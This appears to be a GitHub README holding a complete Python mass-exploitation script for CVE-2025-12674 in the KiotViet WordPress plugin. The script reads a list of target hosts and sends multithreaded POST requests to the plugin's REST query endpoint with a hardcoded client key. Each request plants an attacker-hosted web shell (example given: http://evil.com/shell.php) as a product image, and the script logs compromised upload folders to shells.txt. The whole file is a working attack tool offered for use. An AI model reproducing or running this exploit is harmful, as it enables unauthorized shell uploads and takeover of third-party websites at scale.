README.md
Rendering markdown...
#!/usr/bin/env python3
# Author: Nxploited (Khaled Alenazi) | https://github.com/Nxploited | https://t.me/KNxploited
import threading
import requests
import time
import os
import sys
import re
from urllib.parse import urlparse
from datetime import datetime
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.align import Align
from rich.theme import Theme
from rich import box
from rich.table import Table
theme = Theme({
"banner": "bold cyan",
"github": "bold magenta",
"telegram": "bold green",
"nxsplit": "bold white on blue",
"mainbox": "bold white on black",
"author": "bold yellow",
"usage": "bold green",
"info": "bold magenta",
"success": "bold white on green",
"error": "bright_red",
"warning": "bold white on red",
"progress": "bold magenta",
})
console = Console(theme=theme)
os.environ['NO_PROXY'] = '*'
DEFAULT_THREADS = 10
DEFAULT_TIMEOUT = 16
OUTPUT_SHELLS_FILE = "shells.txt"
BACKUP_SUFFIX_FMT = "%Y%m%d_%H%M%S"
USER_AGENT = "KiotVietEx/1.0 (+https://github.com/Nxploited) Mozilla/5.0"
write_lock = threading.Lock()
counter_lock = threading.Lock()
counters = {"total": 0, "success": 0, "failed": 0}
def print_custom_banner():
banner_art = (
". . . . . \n"
"|\\ | | o | | \n"
"| \\| . , ;-. | ,-. . |- ,-. ,-| \n"
"| | X | | | | | | | |-' | | \n"
"' ' ' ` |-' ' `-' ' `-' `-' `-' \n"
" ' "
)
github_account = "GitHub: https://github.com/Nxploited"
telegram_account = "Telegram: https://t.me/KNxploited"
nxploited_tag = Text("Nxploited KiotViet Exploit", style="nxsplit")
body = Align.center(
"\n".join([
"",
banner_art,
"",
github_account,
telegram_account,
""
])
)
console.print(
Panel(body, title=nxploited_tag, title_align='center',
box=box.DOUBLE, border_style="mainbox", padding=(1,12), expand=True)
)
def show_usage_box():
usage = (
"[usage]Usage:[/]\n"
"1. Put target hosts in [bold]list.txt[/] (one host per line, e.g. example.com).\n"
"2. Run: [bold cyan]python CVE-2025-12674.py[/]\n"
"3. When prompted provide:\n"
" - Thread count (default 10)\n"
" - Remote shell URL (direct link to your shell, e.g. http://evil.com/shell.php)\n"
"4. Successful shell uploads will be saved to [bold]shells.txt[/].\n"
"5. For support contact: [bold magenta]@KNxploited[/] (Telegram)"
)
console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="green"))
def backup_output_file(path):
if os.path.exists(path):
ts = datetime.now().strftime(BACKUP_SUFFIX_FMT)
bak_name = f"{path}.{ts}.bak"
os.replace(path, bak_name)
console.print(f"[info]Existing {path} backed up to {bak_name}[/info]")
def safe_write_shell_path(shell_path):
with write_lock:
with open(OUTPUT_SHELLS_FILE, "a") as f:
f.write(f"{shell_path}\n")
def is_valid_url(u):
try:
p = urlparse(u)
return p.scheme in ("http", "https") and bool(p.netloc)
except Exception:
return False
def normalize_target_host(host):
host = host.strip()
if host.lower().startswith(("http://", "https://")):
p = urlparse(host)
base = f"{p.scheme}://{p.netloc}"
return base.rstrip('/')
return f"http://{host.rstrip('/')}"
def chunk_targets(targets, n):
if n <= 1:
return [targets]
chunks = [[] for _ in range(n)]
for idx, val in enumerate(targets):
chunks[idx % n].append(val)
return chunks
def kiotviet_exploit(target, shell_url, timeout=DEFAULT_TIMEOUT):
url = f"{target}/wp-json/admin/v1/query"
headers = {
"Content-Type": "application/json",
"User-Agent": USER_AGENT
}
data = {
"client_key": "dasdasd23423JFHDJKFHJD",
"action": "create",
"table": "kiotviet_sync_products",
"ref_id": "0",
"fields": {
"products": [{
"name": "NxShell",
"type": "simple",
"regular_price": "199.99",
"raw_image_id": shell_url
}]
}
}
try:
r = requests.post(url, json=data, headers=headers, timeout=timeout, verify=False)
with counter_lock:
counters["total"] += 1
if r.status_code == 200 and (
"{\"message\":\"OK\"}" in r.text or "\"message\":\"Done!\"" in r.text or "message\":\"OK" in r.text
):
with counter_lock:
counters["success"] += 1
shell_dir = f"{target}/wp-content/uploads/{datetime.now().year}/{datetime.now().month:02}/"
safe_write_shell_path(shell_dir)
console.print(Panel(
f"[success]✔ Shell uploaded![/success]\n"
f"Check here:\n[bold]{shell_dir}[/bold]\n",
box=box.DOUBLE, border_style="bright_green"
))
return True, shell_dir
else:
with counter_lock:
counters["failed"] += 1
return False, r.text
except Exception as e:
with counter_lock:
counters["failed"] += 1
return False, str(e)
def worker_thread(thread_id, targets, shell_url, timeout, progress_task, progress):
for t in targets:
console.print(Panel(f"{t}\n[bold cyan]Trying KiotViet exploit...[/bold cyan]", box=box.ROUNDED, style="info"))
success, info = kiotviet_exploit(t, shell_url, timeout)
if not success:
console.print(Panel(
f"[error]Shell upload failed or not confirmed at {t}\nResponse/Error:\n{info}[/error]",
box=box.ROUNDED, style="error"
))
try:
if progress and progress_task is not None:
progress.update(progress_task, advance=1)
except Exception:
pass
def main():
try:
print_custom_banner()
show_usage_box()
console.print(Panel("[bold magenta]Press ENTER to continue to inputs...[/bold magenta]", box=box.SQUARE))
input()
list_file = console.input("[bold yellow]Enter targets file name (default: list.txt): [/]").strip() or "list.txt"
thread_input = console.input(f"[bold yellow]Enter number of threads (default: {DEFAULT_THREADS}): [/]").strip()
threads = DEFAULT_THREADS
if thread_input.isdigit() and int(thread_input) > 0:
threads = int(thread_input)
shell_url = console.input("[bold yellow]Enter REMOTE SHELL URL (direct link): [/]").strip()
if not is_valid_url(shell_url):
console.print("[error]Invalid shell URL. Exiting.[/error]")
sys.exit(1)
if not os.path.exists(list_file):
console.print(f"[error]Targets file '{list_file}' not found. Exiting.[/error]")
sys.exit(1)
backup_output_file(OUTPUT_SHELLS_FILE)
with open(list_file, "r") as f:
raw_targets = [line.strip() for line in f if line.strip()]
targets = [normalize_target_host(x) for x in raw_targets]
if not targets:
console.print("[error]No targets found in the list. Exiting.[/error]")
sys.exit(1)
console.print(Panel(f"Loaded [bold]{len(targets)}[/] targets. Threads: [bold]{threads}[/].", box=box.ROUNDED, style="info"))
chunks = chunk_targets(targets, threads)
with Progress(
SpinnerColumn(),
TextColumn("[progress.description]{task.description}"),
BarColumn(),
TextColumn("{task.completed}/{task.total}"),
TimeElapsedColumn(),
console=console,
transient=True
) as progress:
total = len(targets)
task = progress.add_task("[bold cyan]Exploiting KiotViet targets...[/]", total=total)
thread_list = []
for i in range(len(chunks)):
if not chunks[i]:
continue
th = threading.Thread(target=worker_thread, args=(i, chunks[i], shell_url, DEFAULT_TIMEOUT, task, progress))
th.daemon = True
th.start()
thread_list.append(th)
for t in thread_list:
t.join()
table = Table(title="Summary", box=box.SIMPLE)
table.add_column("Metric", style="bold")
table.add_column("Value", justify="right")
table.add_row("Total attempts", str(counters["total"]))
table.add_row("Successful shells", str(counters["success"]))
table.add_row("Failed attempts", str(counters["failed"]))
console.print(table)
console.print(Panel(f"Uploaded shells folders saved in [bold green]{OUTPUT_SHELLS_FILE}[/bold green]", box=box.DOUBLE, style="info"))
except KeyboardInterrupt:
console.print("\n[error]Interrupted by user. Exiting gracefully...[/error]")
except Exception as e:
console.print(Panel(f"[error]Unexpected error:[/] {e}", box=box.ROUNDED, style="error"))
finally:
console.print("\n[info]Done. Press ENTER to exit...[/info]")
try:
input()
except Exception:
pass
if __name__ == "__main__":
main()